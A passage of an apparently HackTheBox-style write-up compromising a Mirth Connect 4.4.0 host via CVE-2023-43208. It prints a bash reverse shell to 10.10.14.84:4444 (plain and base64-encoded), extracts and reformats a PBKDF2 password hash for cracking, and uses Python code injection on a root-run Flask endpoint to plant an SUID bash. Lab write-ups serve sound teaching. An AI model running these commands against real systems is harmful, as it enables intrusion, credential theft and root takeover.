&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_Not valid after: 2075-09-19T12:50:05
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Mirth Connect Administrator
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ssl-date: TLS randomness does not represent &lt;span class="nb"&gt;time&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 18.51 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The web page:
&lt;img src="mirth_connect_dashboard.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll download the launcher/installer using curl, and identify the version number (4.4.0):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;jnlp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;codebase&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://10.129.25.113:80&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;4.4.0&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;information&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Mirth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Connect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;vendor&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;NextGen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Healthcare&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;vendor&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;homepage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://www.nextgen.com&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Open&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Healthcare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Integration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Engine&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;icon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;images/NG_MC_Icon_128x128.png&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;icon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;images/MirthConnect_Logo_WordMark_Big.png&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;splash&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="foothold"&gt;Foothold&lt;/h1&gt;
&lt;p&gt;Mirth Connect version 4.4.0 corresponds to a well-known &lt;a href="https://nvd.nist.gov/vuln/detail/cve-2023-43208"&gt;CVE-2023-43208&lt;/a&gt; which can be exploited using &lt;a href="https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc"&gt;jakabakos&amp;rsquo; PoC&lt;/a&gt;. We can pass a command here which I&amp;rsquo;ll assume can be a standard reverse shell: &lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.84/4444 0&amp;gt;&amp;amp;1'&lt;/code&gt; where we set up a netcat listener on &lt;code&gt;4444&lt;/code&gt;: &lt;code&gt;nc -lvnp 4444&lt;/code&gt;. Unfortunately, this wasn&amp;rsquo;t successful. I decided to pass a &lt;em&gt;no-space base64 encoded string&lt;/em&gt; into the PoC by first encoding the shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s1"&gt;&amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.84/4444 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44NC80NDQ0IDA+JjE&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then it&amp;rsquo;s as simple as:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 CVE-2023-43208.py -u https://10.129.25.113/ -c &lt;span class="s2"&gt;&amp;#34;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44NC80NDQ0IDA+JjE=}|{base64,-d}|bash&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="user-privilege-escalation"&gt;User Privilege Escalation&lt;/h1&gt;
&lt;p&gt;Peering around in our files we see &lt;code&gt;conf/mirth.properties&lt;/code&gt; which reveals a mariadb username and password, which is running on our box (denoted by port 3306):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mirth@interpreter:/usr/local/mirthconnect$ ss -tlnp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LISTEN &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt; 127.0.0.1:3306 0.0.0.0:*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LISTEN &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;128&lt;/span&gt; 0.0.0.0:22 0.0.0.0:*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LISTEN &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;50&lt;/span&gt; 0.0.0.0:80 0.0.0.0:* users:&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;java&amp;#34;&lt;/span&gt;,pid&lt;span class="o"&gt;=&lt;/span&gt;3513,fd&lt;span class="o"&gt;=&lt;/span&gt;327&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LISTEN &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;128&lt;/span&gt; 127.0.0.1:54321 0.0.0.0:*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LISTEN &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;50&lt;/span&gt; 0.0.0.0:443 0.0.0.0:* users:&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;java&amp;#34;&lt;/span&gt;,pid&lt;span class="o"&gt;=&lt;/span&gt;3513,fd&lt;span class="o"&gt;=&lt;/span&gt;331&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LISTEN &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 0.0.0.0:6661 0.0.0.0:* users:&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;java&amp;#34;&lt;/span&gt;,pid&lt;span class="o"&gt;=&lt;/span&gt;3513,fd&lt;span class="o"&gt;=&lt;/span&gt;335&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LISTEN &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;128&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;::&lt;span class="o"&gt;]&lt;/span&gt;:22 &lt;span class="o"&gt;[&lt;/span&gt;::&lt;span class="o"&gt;]&lt;/span&gt;:*
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Database &lt;code&gt;mc_bdd_prod&lt;/code&gt; contains tables &lt;code&gt;PERSON&lt;/code&gt; and &lt;code&gt;PERSON_PASSWORD&lt;/code&gt;, where &lt;code&gt;PERSON_PASSWORD&lt;/code&gt; contains a hash (denoted by the column &amp;ldquo;PASSWORD&amp;rdquo;) in some format. The &lt;code&gt;PERSON_ID&lt;/code&gt; column that matches with the only hash in the table is &lt;code&gt;2&lt;/code&gt;, which aligns with username &lt;code&gt;sedric&lt;/code&gt; listed in table &lt;code&gt;PERSON&lt;/code&gt;. Our next step is figuring out what kind of hash this is:
sedric hash: &lt;code&gt;u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A quick Google search for &amp;ldquo;mirth connect hash format&amp;rdquo;&lt;a href="https://docs.nextgen.com/en-US/mirthc2ae-connect-by-nextgen-healthcare-user-guide-3281761/default-digest-algorithm-in-mirthc2ae-connect-4-4-62159"&gt; reveals that Mirth Connect versions &amp;gt;=4.4.0 uses a &amp;ldquo;PBKDF2WithHmacSHA256&amp;rdquo; hash type&lt;/a&gt; with a&lt;a href="https://img2.helpnetsecurity.com/dl/articles/KeyIterations&amp;amp;CryptoSalts.pdf"&gt; default iteration count&lt;/a&gt; of 600000. Our hash is &lt;strong&gt;40 bytes&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64 -d &lt;span class="p"&gt;|&lt;/span&gt; wc -c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It&amp;rsquo;s likely that our &lt;em&gt;8 extra bytes&lt;/em&gt; (considering that SHA256 is 32 bytes, 256 bits = 32 bytes) is our &lt;strong&gt;salt&lt;/strong&gt;. To extract our hash, we:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Decode our base64-encoded hash: &lt;code&gt;| base64 -d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Grab the first 8 bytes: &lt;code&gt;| head -c 8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Re-encode our extracted 8 bytes into base64: &lt;code&gt;| base64&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In full: &lt;code&gt;echo &amp;quot;u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==&amp;quot; | base64 -d | head -c 8 | base64&lt;/code&gt; (for the first 8 bytes) Using &lt;code&gt;tail -c 32&lt;/code&gt; to grab the last 32 bytes will likely be our unsalted hash. Combining our results in the format of &lt;code&gt;salt:hash&lt;/code&gt;, and &lt;a href="https://hashcat.net/wiki/doku.php?id=example_hashes"&gt;prepending the necessary specs&lt;/a&gt; (SHA-256 and iteration count), we get the following base64-encoded string (with colons separating the salt from the hash):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sha256:600000:u/+LBBOUnac&lt;span class="o"&gt;=&lt;/span&gt;:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After using hashcat to crack our password, we can ssh into the machine using our credentials for the user sedric.&lt;/p&gt;
&lt;h1 id="root-privilege-escalation"&gt;Root Privilege Escalation&lt;/h1&gt;
&lt;p&gt;I decided to run the enumeration tool linpeas.sh once again to see if any certain files or privileges were made available exclusively to the user sedric. I went down a few rabbit holes before I fully checked out the API server being hosted on localhost port 54321 with the code available to read at &lt;code&gt;/usr/local/bin/notif.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="linpeas_output.png" alt=""&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Notification server for added patients.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;abort&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;uuid&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;xml.etree.ElementTree&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nn"&gt;ET&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/addPatient&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remote_addr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;127.0.0.1&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From the snippet above, we can infer that making POST requests to the endpoint &lt;code&gt;/addPatient&lt;/code&gt; must be done through localhost (which isn&amp;rsquo;t a problem with a shell on user sedric). Importantly, we can see that anything executed by this API server is executed by user root:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sedric@interpreter:~$ ls -l /usr/local/bin/notif.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr----- &lt;span class="m"&gt;1&lt;/span&gt; root sedric &lt;span class="m"&gt;2332&lt;/span&gt; Sep &lt;span class="m"&gt;19&lt;/span&gt; &lt;span class="m"&gt;2025&lt;/span&gt; /usr/local/bin/notif.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Just to confirm that we can make XML requests to this endpoint, we&amp;rsquo;ll craft a standard dummy request (using &lt;code&gt;wget&lt;/code&gt; because &lt;code&gt;curl&lt;/code&gt; is not available on this box):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget -q -O - --post-data&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;patient&amp;gt;&amp;lt;firstname&amp;gt;John&amp;lt;/firstname&amp;gt;&amp;lt;lastname&amp;gt;Smith&amp;lt;/lastname&amp;gt;&amp;lt;sender_app&amp;gt;app&amp;lt;/sender_app&amp;gt;&amp;lt;timestamp&amp;gt;12/12/2024&amp;lt;/timestamp&amp;gt;&amp;lt;birth_date&amp;gt;01/01/1990&amp;lt;/birth_date&amp;gt;&amp;lt;gender&amp;gt;M&amp;lt;/gender&amp;gt;&amp;lt;/patient&amp;gt;&amp;#39;&lt;/span&gt; --header&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Content-Type: application/xml&amp;#39;&lt;/span&gt; http://127.0.0.1:54321/addPatient
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Patient John Smith &lt;span class="o"&gt;(&lt;/span&gt;M&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="m"&gt;36&lt;/span&gt; years old, received from app at 12/12/2024
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Taking a closer look at &lt;code&gt;notif.py&lt;/code&gt; reveals an interesting fact, that the accepted regex pattern that our POST requests are passed through includes strange characters (&lt;code&gt;{}&lt;/code&gt;, &lt;code&gt;()&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt;, etc.) that we can use to pass in arbitrary Python code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gender&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;^[a-zA-Z0-9._&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\&amp;#34;&lt;/span&gt;&lt;span class="s2"&gt;()&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;=+/]+$&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fullmatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[INVALID_INPUT]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;More information about Python code injection can be found &lt;a href="https://semgrep.dev/docs/cheat-sheets/python-code-injection"&gt;here&lt;/a&gt; and &lt;a href="https://vk9-sec.com/exploiting-python-eval-code-injection/"&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So, we can craft a payload that executes arbitrary Python code as root by passing a POST request from any user on localhost. I guess it&amp;rsquo;s suitable to create an SUID binary. To make our payload easier to read, we&amp;rsquo;ll put the bulk of what we want root to execute in a world-readable file in &lt;code&gt;/tmp/pwn.sh&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;cp /bin/bash /tmp/bash &amp;amp;&amp;amp; chmod +s /tmp/bash&amp;#34;&lt;/span&gt; &amp;gt; /tmp/pwn.sh
